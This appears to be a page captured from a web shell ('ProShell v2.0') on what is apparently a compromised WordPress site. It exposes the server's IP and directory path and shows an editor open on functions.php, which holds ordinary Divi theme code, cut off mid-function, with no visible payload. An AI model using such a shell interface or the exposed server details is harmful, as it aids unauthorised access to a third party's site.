ProShell v2.0
Dashboard
Server Info
Server: 158.106.128.192
PHP: 8.2.33
home
planet5
public_html
bansibaba.com
wp-includes
2026-09-16 01:26:42
Editing: functions.php
Cancel
Save Changes
<?php if ( ! isset( $content_width ) ) $content_width = 1080; function et_setup_theme() { global $themename, $shortname, $et_store_options_in_one_row, $default_colorscheme; $themename = 'Divi'; $shortname = 'divi'; $et_store_options_in_one_row = true; $default_colorscheme = "Default"; $template_directory = get_template_directory(); require_once $template_directory . '/core/init.php'; require_once $template_directory . '/common/init.php'; et_common_setup(); et_core_setup( get_template_directory_uri() ); if ( '3.0.61' === ET_CORE_VERSION ) { require_once $template_directory . '/core/functions.php'; require_once $template_directory . '/core/components/init.php'; et_core_patch_core_3061(); } require_once $template_directory . '/epanel/custom_functions.php'; require_once $template_directory . '/epanel/theme-options-library/theme-options.php'; require_once $template_directory . '/core/code-snippets/code-snippets.php'; require_once $template_directory . '/includes/functions/choices.php'; require_once $template_directory . '/includes/functions/dynamic-assets.php'; require_once $template_directory . '/includes/functions/sanitization.php'; require_once $template_directory . '/includes/functions/sidebars.php'; load_theme_textdomain( 'Divi', $template_directory . '/lang' ); require_once $template_directory . '/epanel/core_functions.php'; require_once $template_directory . '/post_thumbnails_divi.php'; include_once $template_directory . '/includes/widgets.php'; register_nav_menus( array( 'primary-menu' => esc_html__( 'Primary Menu', 'Divi' ), 'secondary-menu' => esc_html__( 'Secondary Menu', 'Divi' ), 'footer-menu' => esc_html__( 'Footer Menu', 'Divi' ), ) ); // don't display the empty title bar if the widget title is not set remove_filter( 'widget_title', 'et_widget_force_title' ); remove_filter( 'body_class', 'et_add_fullwidth_body_class' ); // Declare theme supports add_theme_support( 'title-tag' ); add_theme_support( 'post-formats', array( 'video', 'audio', 'quote', 'gallery', 'link' ) ); add_theme_support( 'woocommerce' ); add_theme_support( 'wc-product-gallery-zoom' ); add_theme_support( 'wc-product-gallery-lightbox' ); add_theme_support( 'wc-product-gallery-slider' ); add_theme_support( 'customize-selective-refresh-widgets' ); // Block editor supports. add_theme_support( 'wp-block-styles' ); remove_action( 'woocommerce_sidebar', 'woocommerce_get_sidebar', 10 ); remove_action( 'woocommerce_before_main_content', 'woocommerce_output_content_wrapper', 10 ); add_action( 'woocommerce_before_main_content', 'et_divi_output_content_wrapper', 10 ); add_action( 'eventon_before_main_content', 'et_divi_output_content_wrapper', 11 ); remove_action( 'woocommerce_after_main_content', 'woocommerce_output_content_wrapper_end', 10 ); add_action( 'woocommerce_after_main_content', 'et_divi_output_content_wrapper_end', 10 ); add_action( 'eventon_after_main_content', 'et_divi_output_content_wrapper_end', 9 ); remove_action( 'woocommerce_after_shop_loop_item', 'woocommerce_template_loop_add_to_cart', 10 ); // add wrapper so we can clear things add_action( 'woocommerce_before_single_product_summary', 'et_divi_output_product_wrapper', 0 ); add_action( 'woocommerce_after_single_product_summary', 'et_divi_output_product_wrapper_end', 0 ); // deactivate page templates and custom import functions remove_action( 'init', 'et_activate_features' ); remove_action('admin_menu', 'et_add_epanel'); // Load editor styling add_editor_style( 'css/editor-style.css' ); add_editor_style( 'css/editor-blocks.css' ); et_divi_version_rollback()->enable(); if ( wp_doing_cron() ) { et_register_updates_component(); } // Remove WordPress emojis add_action( 'init', 'et_disable_emojis' ); // Defer Gutenberg block stylesheet to the footer. add_action( 'wp_enqueue_scripts', 'et_dequeue_block_css', 100 ); add_action( 'get_footer', 'et_enqueue_block_css', 100 ); } add_action( 'after_setup_theme', 'et_setup_theme' ); add_action( 'et_do_legacy_shortcode', 'et_add_legacy_shortcode_css' ); add_action( 'et_do_legacy_shortcode', 'et_add_legacy_shortcode_js' ); /** * Load un-minified and un-combined scripts. * * @param string $load check if loading unminified scripts. * @return string * @deprecated ?? */ function et_divi_load_unminified_scripts( $load ) { /** @see ET_Core_SupportCenter::toggle_safe_mode */ if ( et_core_is_safe_mode_active() ) { return true; } if ( 'false' === et_get_option( 'divi_minify_combine_scripts' ) ) { return true; } return $load; } /** * Load un-minified and un-combined styles. * * @param string $load check if loading unminified styles. * @return string * @deprecated ?? */ function et_divi_load_unminified_styles( $load ) { /** @see ET_Core_SupportCenter::toggle_safe_mode */ if ( et_core_is_safe_mode_active() ) { return true; } if ( 'false' === et_get_option( 'divi_minify_combine_styles' ) ) { return true; } return $load; } function et_theme_epanel_reminder(){ global $shortname, $themename; $documentation_url = 'http://www.elegantthemes.com/gallery/divi/readme.html'; $documentation_option_name = $shortname . '_2_4_documentation_message'; if ( false === et_get_option( $shortname . '_logo' ) && false === et_get_option( $documentation_option_name ) ) { $message = sprintf( et_get_safe_localization( __( 'Welcome to Divi! Before diving in to your new theme, please visit the <a style="color: #fff; font-weight: bold;" href="%1$s" target="_blank">Divi Documentation</a> page for access to dozens of in-depth tutorials.', $themename ) ), esc_url( $documentation_url ) ); printf( '<div class="notice is-dismissible" style="background-color: #6C2EB9; color: #fff; border-left: none;"> <p>%1$s</p> </div>', $message ); et_update_option( $documentation_option_name, 'triggered' ); } } add_action( 'admin_notices', 'et_theme_epanel_reminder' ); if ( ! function_exists( 'et_divi_fonts_url' ) ) : /** * Print Google fonts style for Divi Theme base fonts. */ function et_divi_fonts_url() { if ( ! et_core_use_google_fonts() ) { return ''; } $fonts_url = ''; /** * Translators: If there are characters in your language that are not * supported by Open Sans, translate this to 'off'. Do not translate * into your own language. */ $open_sans = _x( 'on', 'Open Sans font: on or off', 'Divi' ); if ( 'off' !== $open_sans ) { $font_families = array(); if ( 'off' !== $open_sans ) { $font_families[] = 'Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800'; } $fonts = et_builder_get_fonts(); $full_character_set = ! empty( $fonts['Open Sans'] ) && ! empty( $fonts['Open Sans']['character_set'] ) ? $fonts['Open Sans']['character_set'] : 'cyrillic,cyrillic-ext,greek,greek-ext,latin,latin-ext,vietnamese'; // By default, only latin and latin-ext subsets are loaded, all available subsets can be enabled in ePanel. $subset = 'false' === et_get_option( 'divi_gf_enable_all_character_sets', 'false' ) ? 'latin,latin-ext' : $full_character_set; $query_args = array( 'family' => implode( '%7C', $font_families ), 'subset' => $subset, 'display' => 'swap', ); $fonts_url = add_query_arg( $query_args, 'https://fonts.googleapis.com/css' ); } return $fonts_url; } endif; function et_divi_load_fonts() { $google_fonts_url = et_divi_fonts_url(); // Get user selected font defined on customizer $et_gf_body_font = sanitize_text_field( et_get_option( 'body_font', 'none' ) ); $is_et_fb_enabled = function_exists( 'et_fb_enabled' ) && et_fb_enabled(); // Determine whether current page needs Open Sans or not $no_open_sans = ! is_customize_preview() && 'none' !== $et_gf_body_font && '' !== $et_gf_body_font && ! $is_et_fb_enabled; if ( ! empty( $google_fonts_url ) && ! $no_open_sans ) { $feature_manager = ET_Builder_Google_Fonts_Feature::instance(); $output_inline = $feature_manager->is_option_enabled( 'google_fonts_inline' ); if ( $output_inline ) { $contents = $feature_manager->get( 'google-fonts', function() use ( $feature_manager, $google_fonts_url ) { return $feature_manager->fetch( $google_fonts_url ); }, sanitize_text_field( et_core_esc_previously( $google_fonts_url ) ) ); // if something went wrong fetching the contents if ( false === $contents ) { // phpcs:ignore WordPress.WP.EnqueuedResourceParameters -- Google fonts api does not have versions wp_enqueue_style( 'et-divi-open-sans', et_core_esc_previously( $google_fonts_url ), array(), null ); } else { echo '<style id="et-divi-open-sans-inline-css">' . $contents . '</style>'; } } else { // phpcs:ignore WordPress.WP.EnqueuedResourceParameters -- Google fonts api does not have versions. wp_enqueue_style( 'et-divi-open-sans', et_core_esc_previously( $google_fonts_url ), array(), null ); } } } add_action( 'wp_enqueue_scripts', 'et_divi_load_fonts' ); function et_add_home_link( $args ) { // add Home link to the custom menu WP-Admin page $args['show_home'] = true; return $args; } add_filter( 'wp_page_menu_args', 'et_add_home_link' ); function et_divi_load_scripts_styles(){ global $wp_styles, $et_user_fonts_queue; // $dynamic_js_suffix = et_use_dynamic_js() ? '' : '-static'; // @temp-disabled-dynamic-assets-js $template_dir = get_template_directory_uri(); $theme_version = et_get_theme_version(); $post_id = get_the_id(); $is_page_builder_used = et_pb_is_pagebuilder_used( $post_id ); $page_comments_disabled = et_get_option( 'divi_show_pagescomments', 'off' ); $post_with_comments = is_single() && comments_open() && get_option( 'thread_comments' ); $page_width_comments = is_page() && ! $is_page_builder_used && comments_open() && get_option( 'thread_comments' ) && $page_comments_disabled === 'on'; if ( $post_with_comments || $page_width_comments ) { wp_enqueue_script( 'comment-reply' ); } if ( is_singular() && has_post_format( 'audio' ) ) { wp_enqueue_style( 'wp-mediaelement' ); wp_enqueue_script( 'wp-mediaelement' ); } $dependencies_array = array( 'jquery' ); // load 'jquery-effects-core' if SlideIn/Fullscreen header used or if customizer opened if ( is_customize_preview() || 'slide' === et_get_option( 'header_style', 'left' ) || 'fullscreen' === et_get_option( 'header_style', 'left' ) ) { $dependencies_array[] = 'jquery-effects-core'; } wp_enqueue_script( 'divi-custom-script', $template_dir . '/js/scripts.min.js', $dependencies_array, $theme_version, true ); $divi_data = array( 'item_count' => esc_html__( '%d Item', 'divi' ), 'items_count' => esc_html__( '%d Items', 'divi' ), ); if ( et_core_is_fb_enabled() ) { $divi_data['row_selector'] = et_divi_get_row_advanced_options_selector_replacement(); } wp_localize_script( 'divi-custom-script', 'DIVI', $divi_data ); $et_gf_enqueue_fonts = array(); $et_gf_heading_font = sanitize_text_field( et_pb_get_specific_default_font( et_get_option( 'heading_font', 'none' ) ) ); $et_gf_body_font = sanitize_text_field( et_pb_get_specific_default_font( et_get_option( 'body_font', 'none' ) ) ); $et_gf_button_font = sanitize_text_field( et_pb_get_specific_default_font( et_get_option( 'all_buttons_font', 'none' ) ) ); $et_gf_primary_nav_font = sanitize_text_field( et_pb_get_specific_default_font( et_get_option( 'primary_nav_font', 'none' ) ) ); $et_gf_secondary_nav_font = sanitize_text_field( et_pb_get_specific_default_font( et_get_option( 'secondary_nav_font', 'none' ) ) ); $et_gf_slide_nav_font = sanitize_text_field( et_pb_get_specific_default_font( et_get_option( 'slide_nav_font', 'none' ) ) ); if ( 'none' != $et_gf_heading_font ) $et_gf_enqueue_fonts[] = $et_gf_heading_font; if ( 'none' != $et_gf_body_font ) $et_gf_enqueue_fonts[] = $et_gf_body_font; if ( 'none' != $et_gf_button_font ) $et_gf_enqueue_fonts[] = $et_gf_button_font; if ( 'none' != $et_gf_primary_nav_font ) $et_gf_enqueue_fonts[] = $et_gf_primary_nav_font; if ( 'none' != $et_gf_secondary_nav_font ) $et_gf_enqueue_fonts[] = $et_gf_secondary_nav_font; if ( 'none' != $et_gf_slide_nav_font ) $et_gf_enqueue_fonts[] = $et_gf_slide_nav_font; if ( ! empty( $et_gf_enqueue_fonts ) && function_exists( 'et_builder_enqueue_font' ) ) { $site_domain = get_locale(); $et_old_one_font_languages = et_get_old_one_font_languages(); foreach ( $et_gf_enqueue_fonts as $single_font ) { if ( isset( $et_old_one_font_languages[$site_domain] ) ) { $font_custom_default_data = $et_old_one_font_languages[$site_domain]; // enqueue custom default font if needed if ( $single_font === $font_custom_default_data['font_family'] ) { $et_gf_font_name_slug = strtolower( str_replace( ' ', '-', $font_custom_default_data['language_name'] ) ); wp_enqueue_style( 'et-gf-' . $et_gf_font_name_slug, $font_custom_default_data['google_font_url'], array(), null ); continue; } } et_builder_enqueue_font( $single_font ); } if ( function_exists( 'et_builder_enqueue_user_fonts' ) && ! empty( $et_user_fonts_queue ) ) { printf( '<style id="et-divi-userfonts">%1$s</style>', et_core_esc_previously( et_builder_enqueue_user_fonts( $et_user_fonts_queue ) ) ); } } } add_action( 'wp_enqueue_scripts', 'et_divi_load_scripts_styles' ); /** * Enqueue the main style.css file. * If a child theme is active and the child theme has not enqueued * the Divi stylsheet, enqueue it for them. Otherwise -rtl, -cpt and -static * stylesheet versions will never be enqueued properly. Some child themes * import the Divi style.css file in their child theme .css file, which won't work. */ function et_divi_enqueue_stylesheet() { $theme_version = et_get_theme_version(); $styles = wp_styles(); // Filter the $styles array and determine if the Divi stylesheet is enqueued. $divi_style_enqueued = ! empty( array_filter( $styles->registered, function( $style ) { $template_directory_uri = preg_quote( get_template_directory_uri(), '/' ); return preg_match( '/' . $template_directory_uri . '\/style.*\.css/', $style->src ); } ) ); if ( ! is_child_theme() ) { // If no child theme is active, we enqueue the Divi style.css located in the template dir. wp_enqueue_style( 'divi-style', get_template_directory_uri() . '/style.css', array(), $theme_version ); } elseif ( $divi_style_enqueued ) { // If a child theme is used and the child theme already enqueued the Divi style.css in their functions.php, // then we enqueue the child theme style.css file via the stylesheet dir. wp_enqueue_style( 'divi-style', get_stylesheet_directory_uri() . '/style.css', array(), $theme_version ); } else { // If a child theme is used and they do not enqueue the Divi style.css file, // we need to enqueue it for them before their child theme style.css file. wp_enqueue_style( 'divi-style-parent', get_template_directory_uri() . '/style.css', array(), $theme_version ); wp_enqueue_style( 'divi-style', get_stylesheet_directory_uri() . '/style.css', array(), $theme_version ); } } add_action( 'wp_enqueue_scripts', 'et_divi_enqueue_stylesheet' ); /** * Replace the enqueued Divi style.css file with the applicable version. * If Dynamic CSS is disabled, we load the -static file. If RTL is enabled, we load the -rtl file. * If on a custom post type, we load the -cpt file. This is also necessary for child themes, * which typically enqueue the standard style.css without the logic below. */ function et_divi_replace_parent_stylesheet() { $theme_version = et_get_theme_version(); $post_id = get_the_ID(); $cpt_suffix = et_builder_should_wrap_styles() ? '-cpt' : ''; $dynamic_css_suffix = et_use_dynamic_css() ? '' : '-static'; $rtl_suffix = is_rtl() ? '-rtl' : ''; $template_directory_uri = preg_quote( get_template_directory_uri(), '/' ); $style_handle = is_child_theme() ? 'divi-style-parent' : 'divi-style'; // We check for .dev in case child themes enqueued this legacy stylesheet. $theme_style = '/^(' . $template_directory_uri . '\/style)(\.dev)?(\.min)?(\.css)$/'; $theme_style_replaced = '$1' . $dynamic_css_suffix . $cpt_suffix . $rtl_suffix . '.min.css'; et_core_replace_enqueued_style( $theme_style, $theme_style_replaced, $theme_version, $style_handle, '', true ); } add_action( 'wp_enqueue_scripts', 'et_divi_replace_parent_stylesheet', 99999998 ); /** * If Load Dynamic Stylesheet In-line is enabled in the Divi Theme Options, * we print stylesheet contents in-line. We must grab the correct base stylesheet * depending on RTl and CPT. */ function et_divi_print_stylesheet() { $enable_inline_stylesheet = et_get_option( 'divi_inline_stylesheet', 'on' ); if ( 'on' === $enable_inline_stylesheet && et_use_dynamic_css() ) { $post_id = get_the_ID(); $cpt_suffix = et_builder_should_wrap_styles() ? '-cpt' : ''; $rtl_suffix = is_rtl() ? '-rtl' : ''; $stylesheet_src = get_template_directory_uri() . '/style' . $cpt_suffix . $rtl_suffix . '.min.css'; $stylesheet_path = get_template_directory() . '/style' . $cpt_suffix . $rtl_suffix . '.min.css'; $stylesheet_path = str_replace( '..', '', $stylesheet_path ); $stylesheet_contents = file_get_contents( $stylesheet_path ); $theme_version = et_get_theme_version(); $url_match = '/url\(/i'; $url_replace = 'url(' . get_template_directory_uri() . '/'; $stylesheet_contents_replaced = preg_replace( $url_match, $url_replace, $stylesheet_contents ); $child_theme_suffix = is_child_theme() ? '-parent' : ''; $styles = wp_styles(); foreach ( $styles->registered as $handle => $style ) { if ( $style->src === $stylesheet_src ) { $existing_inline_styles = $styles->get_data( $handle, 'after' ); break; } } if ( false !== $stylesheet_contents ) { wp_register_style( 'divi-style' . $child_theme_suffix . '-inline', false, array(), $theme_version ); wp_enqueue_style( 'divi-style' . $child_theme_suffix . '-inline' ); wp_add_inline_style( 'divi-style' . $child_theme_suffix . '-inline', $stylesheet_contents_replaced ); if ( ! empty( $existing_inline_styles ) ) { wp_add_inline_style( 'divi-style' . $child_theme_suffix . '-inline', implode( "\n", $existing_inline_styles ) ); } add_action( 'wp_enqueue_scripts', 'et_divi_dequeue_stylesheet', 99999999 ); } } } add_action( 'wp_enqueue_scripts', 'et_divi_print_stylesheet', 99999998 ); /** * If Load Dynamic Stylesheet In-line is enabled, we need to dequeue the Divi stylesheet, * since it's now being enqueued in-line. */ function et_divi_dequeue_stylesheet() { $post_id = get_the_ID(); $cpt_suffix = et_builder_should_wrap_styles() ? '-cpt' : ''; $rtl_suffix = is_rtl() ? '-rtl' : ''; $styles = wp_styles(); $stylesheet = get_template_directory_uri() . '/style' . $cpt_suffix . $rtl_suffix . '.min.css'; if ( empty( $styles->registered ) ) { return; } foreach ( $styles->registered as $handle => $style ) { if ( $style->src === $stylesheet ) { wp_dequeue_style( $handle ); break; } } } /** * All Child Theme .css files must be dequeued and re-queued so that we can control their order. * They must be queued below the parent stylesheet, which we have dequeued and re-queued in et_divi_replace_parent_stylesheet(). */ add_action( 'wp_enqueue_scripts', 'et_requeue_child_theme_styles', 99999999 ); /** * Enqueue smoothscroll if it's enabled. */ function et_enqueue_smoothscroll() { $theme_version = et_get_theme_version(); if ( 'on' === et_get_option( 'divi_smooth_scroll', 'off' ) ) { wp_enqueue_script( 'smoothscroll', get_template_directory_uri() . '/js/smoothscroll.js', array(), $theme_version, true ); } } add_action( 'wp_enqueue_scripts', 'et_enqueue_smoothscroll' ); /** * Enqueue magnific popup when needed. * * @since ?? */ function et_enqueue_magnific_popup() { $theme_version = et_get_theme_version(); if ( 'on' === et_get_option( 'divi_gallery_layout_enable', 'off' ) && ( is_active_widget( false, false, 'media_gallery', true ) || et_is_active_block_widget( 'core/gallery' ) ) ) { wp_enqueue_script( 'magnific-popup', get_template_directory_uri() . '/includes/builder/feature/dynamic-assets/assets/js/magnific-popup.js', array( 'jquery' ), $theme_version, true ); } } add_action( 'wp_enqueue_scripts', 'et_enqueue_magnific_popup' ); function et_add_mobile_navigation(){ if ( is_customize_preview() || ( 'slide' !== et_get_option( 'header_style', 'left' ) && 'fullscreen' !== et_get_option( 'header_style', 'left' ) ) ) { printf( '<div id="et_mobile_nav_menu"> <div class="mobile_nav closed"> <span class="select_page">%1$s</span> <span class="mobile_menu_bar mobile_menu_bar_toggle"></span> </div> </div>', esc_html__( 'Select Page', 'Divi' ) ); } } add_action( 'et_header_top', 'et_add_mobile_navigation' ); function et_add_viewport_meta(){ echo '<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" />'; } add_action( 'wp_head', 'et_add_viewport_meta' ); function et_remove_additional_stylesheet( $stylesheet ){ global $default_colorscheme; return $default_colorscheme; } add_filter( 'et_get_additional_color_scheme', 'et_remove_additional_stylesheet' ); if ( ! function_exists( 'et_list_pings' ) ) : function et_list_pings($comment, $args, $depth) { $GLOBALS['comment'] = $comment; ?> <li id="comment-<?php comment_ID(); ?>"><?php comment_author_link(); ?> - <?php comment_excerpt(); ?> <?php } endif; if ( ! function_exists( 'et_get_theme_version' ) ) : function et_get_theme_version() { $theme_info = wp_get_theme(); if ( is_child_theme() ) { $theme_info = wp_get_theme( $theme_info->parent_theme ); } $theme_version = $theme_info->display( 'Version' ); return $theme_version; } endif; function et_add_post_meta_box( $post_type, $post ) { $allowed = et_pb_is_allowed( 'page_options' ); $enabled = $post ? et_builder_enabled_for_post( $post->ID ) : et_builder_enabled_for_post_type( $post_type ); $enabled = in_array( $post_type, et_builder_get_default_post_types() ) ? true : $enabled; $public = et_builder_is_post_type_public( $post_type ); if ( $allowed && $enabled && $public ) { add_meta_box( 'et_settings_meta_box', esc_html__( 'Divi Page Settings', 'Divi' ), 'et_single_settings_meta_box', $post_type, 'side', 'high' ); } } add_action( 'add_meta_boxes', 'et_add_post_meta_box', 10, 2 ); if ( ! function_exists( 'et_pb_portfolio_meta_box' ) ) : function et_pb_portfolio_meta_box() { ?> <div class="et_project_meta"> <strong class="et_project_meta_title"><?php echo esc_html__( 'Skills', 'Divi' ); ?></strong> <p><?php echo get_the_term_list( get_the_ID(), 'project_tag', '', ', ' ); ?></p> <strong class="et_project_meta_title"><?php echo esc_html__( 'Posted on', 'Divi' ); ?></strong> <p><?php echo get_the_date(); ?></p> </div> <?php } endif; if ( ! function_exists( 'et_single_settings_meta_box' ) ) : function et_single_settings_meta_box( $post ) { $post_id = get_the_ID(); wp_nonce_field( basename( __FILE__ ), 'et_settings_nonce' ); $page_layout = get_post_meta( $post_id, '_et_pb_page_layout', true ); if ( 'product' === $post->post_type && empty( $page_layout ) ) { $page_layout = et_get_option( 'et_pb_woocommerce_product_layout' ); } $side_nav = get_post_meta( $post_id, '_et_pb_side_nav', true ); $project_nav = get_post_meta( $post_id, '_et_pb_project_nav', true ); $post_hide_nav = get_post_meta( $post_id, '_et_pb_post_hide_nav', true ); $post_hide_nav = $post_hide_nav && 'off' === $post_hide_nav ? 'default' : $post_hide_nav; $show_title = get_post_meta( $post_id, '_et_pb_show_title', true ); $is_builder_active = 'on' === get_post_meta( $post_id, '_et_pb_use_builder', true ); if ( is_rtl() ) { $page_layouts = array( 'et_left_sidebar' => esc_html__( 'Left Sidebar', 'Divi' ), 'et_right_sidebar' => esc_html__( 'Right Sidebar', 'Divi' ), 'et_no_sidebar' => esc_html__( 'No Sidebar', 'Divi' ), ); } else { $page_layouts = array( 'et_right_sidebar' => esc_html__( 'Right Sidebar', 'Divi' ), 'et_left_sidebar' => esc_html__( 'Left Sidebar', 'Divi' ), 'et_no_sidebar' => esc_html__( 'No Sidebar', 'Divi' ), ); } // Fullwidth option available for default post types only. Not available for custom post types. if ( ! et_builder_is_post_type_custom( $post->post_type ) || 'product' === $post->post_type && $is_builder_active ) { $page_layouts['et_full_width_page'] = esc_html__( 'Fullwidth', 'Divi' ); } if ( 'et_full_width_page' === $page_layout && ( ! isset( $page_layouts['et_full_width_page'] ) || ! $is_builder_active ) ) { $page_layout = 'et_no_sidebar'; } $layouts = array( 'light' => esc_html__( 'Light', 'Divi' ), 'dark' => esc_html__( 'Dark', 'Divi' ), ); $post_bg_color = ( $bg_color = get_post_meta( $post_id, '_et_post_bg_color', true ) ) && '' !== $bg_color ? $bg_color : '#ffffff'; $post_use_bg_color = get_post_meta( $post_id, '_et_post_use_bg_color', true ) ? true : false; $post_bg_layout = ( $layout = get_post_meta( $post_id, '_et_post_bg_layout', true ) ) && '' !== $layout ? $layout : 'light'; $tb_layouts = et_theme_builder_get_template_layouts( ET_Theme_Builder_Request::from_post( $post_id ) ); $container = array( 'et_pb_page_settings_container' ); if ( ! empty( $tb_layouts ) ) { $container[] = 'et_pb_page_settings_container--theme-builder'; if ( ! empty( $tb_layouts ) && $tb_layouts[ ET_THEME_BUILDER_HEADER_LAYOUT_POST_TYPE ]['override'] ) { $container[] = 'et_pb_page_settings_container--tb-has-header'; } if ( ! empty( $tb_layouts ) && $tb_layouts[ ET_THEME_BUILDER_BODY_LAYOUT_POST_TYPE ]['override'] ) { $container[] = 'et_pb_page_settings_container--tb-has-body'; } if ( ! empty( $tb_layouts ) && $tb_layouts[ ET_THEME_BUILDER_FOOTER_LAYOUT_POST_TYPE ]['override'] ) { $container[] = 'et_pb_page_settings_container--tb-has-footer'; } } ?> <div class="<?php echo esc_attr( implode( ' ', $container ) ); ?>"> <p class="et_pb_page_settings et_pb_page_layout_settings"> <label for="et_pb_page_layout" style="display: block; font-weight: bold; margin-bottom: 5px;"><?php esc_html_e( 'Page Layout', 'Divi' ); ?>: </label> <select id="et_pb_page_layout" name="et_pb_page_layout"> <?php foreach ( $page_layouts as $layout_value => $layout_name ) { printf( '<option value="%2$s"%3$s%4$s>%1$s</option>', esc_html( $layout_name ), esc_attr( $layout_value ), selected( $layout_value, $page_layout, false ), 'et_full_width_page' === $layout_value && ! $is_builder_active ? ' style="display: none;"' : '' ); } ?> </select> </p> <p class="et_pb_page_settings et_pb_side_nav_settings" style="display: none;"> <label for="et_pb_side_nav" style="display: block; font-weight: bold; margin-bottom: 5px;"><?php esc_html_e( 'Dot Navigation', 'Divi' ); ?>: </label> <select id="et_pb_side_nav" name="et_pb_side_nav"> <option value="off" <?php selected( 'off', $side_nav ); ?>><?php esc_html_e( 'Off', 'Divi' ); ?></option> <option value="on" <?php selected( 'on', $side_nav ); ?>><?php esc_html_e( 'On', 'Divi' ); ?></option> </select> </p> <p class="et_pb_page_settings et_pb_nav_settings"> <label for="et_pb_post_hide_nav" style="display: block; font-weight: bold; margin-bottom: 5px;"><?php esc_html_e( 'Hide Nav Before Scroll', 'Divi' ); ?>: </label> <select id="et_pb_post_hide_nav" name="et_pb_post_hide_nav"> <option value="default" <?php selected( 'default', $post_hide_nav ); ?>><?php esc_html_e( 'Default', 'Divi' ); ?></option> <option value="no" <?php selected( 'no', $post_hide_nav ); ?>><?php esc_html_e( 'Off', 'Divi' ); ?></option> <option value="on" <?php selected( 'on', $post_hide_nav ); ?>><?php esc_html_e( 'On', 'Divi' ); ?></option> </select> </p> <?php if ( 'post' === $post->post_type ) : ?> <p class="et_pb_page_settings et_pb_single_title" style="display: none;"> <label for="et_single_title" style="display: block; font-weight: bold; margin-bottom: 5px;"><?php esc_html_e( 'Post Title', 'Divi' ); ?>: </label> <select id="et_single_title" name="et_single_title"> <option value="on" <?php selected( 'on', $show_title ); ?>><?php esc_html_e( 'Show', 'Divi' ); ?></option> <option value="off" <?php selected( 'off', $show_title ); ?>><?php esc_html_e( 'Hide', 'Divi' ); ?></option> </select> </p> <p class="et_divi_quote_settings et_divi_audio_settings et_divi_link_settings et_divi_format_setting et_pb_page_settings"> <label for="et_post_use_bg_color" style="display: block; font-weight: bold; margin-bottom: 5px;"><?php esc_html_e( 'Use Background Color', 'Divi' ); ?></label> <input name="et_post_use_bg_color" type="checkbox" id="et_post_use_bg_color" <?php checked( $post_use_bg_color ); ?> /> </p> <p class="et_post_bg_color_setting et_divi_format_setting et_pb_page_settings"> <input id="et_post_bg_color" name="et_post_bg_color" class="color-picker-hex" type="text" maxlength="7" placeholder="<?php esc_attr_e( 'Hex Value', 'Divi' ); ?>" value="<?php echo esc_attr( $post_bg_color ); ?>" data-default-color="#ffffff" /> </p> <p class="et_divi_quote_settings et_divi_audio_settings et_divi_link_settings et_divi_format_setting"> <label for="et_post_bg_layout" style="font-weight: bold; margin-bottom: 5px;"><?php esc_html_e( 'Text Color', 'Divi' ); ?>: </label> <select id="et_post_bg_layout" name="et_post_bg_layout"> <?php foreach ( $layouts as $layout_name => $layout_title ) printf( '<option value="%s"%s>%s</option>', esc_attr( $layout_name ), selected( $layout_name, $post_bg_layout, false ), esc_html( $layout_title ) ); ?> </select> </p> <?php endif; if ( 'project' === $post->post_type ) : ?> <p class="et_pb_page_settings et_pb_project_nav" style="display: none;"> <label for="et_project_nav" style="display: block; font-weight: bold; margin-bottom: 5px;"><?php esc_html_e( 'Project Navigation', 'Divi' ); ?>: </label> <select id="et_project_nav" name="et_project_nav"> <option value="off" <?php selected( 'off', $project_nav ); ?>><?php esc_html_e( 'Hide', 'Divi' ); ?></option> <option value="on" <?php selected( 'on', $project_nav ); ?>><?php esc_html_e( 'Show', 'Divi' ); ?></option> </select> </p> <?php endif; ?> <?php if ( 'product' === $post->post_type && $is_builder_active ) : ?> <?php $product_page_layouts = et_builder_wc_get_page_layouts( 'Divi' ); $product_page_layout = get_post_meta( $post_id, '_et_pb_product_page_layout', true ); // Get the default set at Builder level when `$product_page_layout` isn't set at single Product page. if ( empty( $product_page_layout ) ) { $product_page_layout = et_get_option( 'et_pb_woocommerce_page_layout' ); } ?> <p class="et_pb_product_page_settings et_pb_product_page_layout_settings"> <label for="et_pb_product_page_layout" style="display: block; font-weight: bold; margin-bottom: 5px;"><?php esc_html_e( 'Product Content', 'Divi' ); ?> : </label> <select id="et_pb_product_page_layout" name="et_pb_product_page_layout"> <?php foreach ( $product_page_layouts as $layout_value => $layout_name ) { printf( '<option value="%2$s"%3$s>%1$s</option>', esc_html( $layout_name ), esc_attr( $layout_value ), selected( $layout_value, $product_page_layout, false ) ); } ?> </select> </p> <?php endif; ?> </div> <?php } endif; function et_divi_post_settings_save_details( $post_id, $post ) { global $pagenow; if ( 'post.php' !== $pagenow || ! $post || ! is_object( $post ) ) { return; } if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) { return; } $post_type = get_post_type_object( $post->post_type ); if ( ! current_user_can( $post_type->cap->edit_post, $post_id ) ) { return; } if ( ! isset( $_POST['et_settings_nonce'] ) || ! wp_verify_nonce( $_POST['et_settings_nonce'], basename( __FILE__ ) ) ) { return; } if ( isset( $_POST['et_post_use_bg_color'] ) ) update_post_meta( $post_id, '_et_post_use_bg_color', true ); else delete_post_meta( $post_id, '_et_post_use_bg_color' ); if ( isset( $_POST['et_post_bg_color'] ) ) update_post_meta( $post_id, '_et_post_bg_color', sanitize_text_field( $_POST['et_post_bg_color'] ) ); else delete_post_meta( $post_id, '_et_post_bg_color' ); if ( isset( $_POST['et_post_bg_layout'] ) ) update_post_meta( $post_id, '_et_post_bg_layout', sanitize_text_field( $_POST['et_post_bg_layout'] ) ); else delete_post_meta( $post_id, '_et_post_bg_layout' ); if ( isset( $_POST['et_single_title'] ) ) update_post_meta( $post_id, '_et_pb_show_title', sanitize_text_field( $_POST['et_single_title'] ) ); else delete_post_meta( $post_id, '_et_pb_show_title' ); if ( isset( $_POST['et_pb_post_hide_nav'] ) ) update_post_meta( $post_id, '_et_pb_post_hide_nav', sanitize_text_field( $_POST['et_pb_post_hide_nav'] ) ); else delete_post_meta( $post_id, '_et_pb_post_hide_nav' ); if ( isset( $_POST['et_project_nav'] ) ) update_post_meta( $post_id, '_et_pb_project_nav', sanitize_text_field( $_POST['et_project_nav'] ) ); else delete_post_meta( $post_id, '_et_pb_project_nav' ); if ( isset( $_POST['et_pb_page_layout'] ) ) { update_post_meta( $post_id, '_et_pb_page_layout', sanitize_text_field( $_POST['et_pb_page_layout'] ) ); } else { delete_post_meta( $post_id, '_et_pb_page_layout' ); } if ( isset( $_POST['et_pb_side_nav'] ) ) { update_post_meta( $post_id, '_et_pb_side_nav', 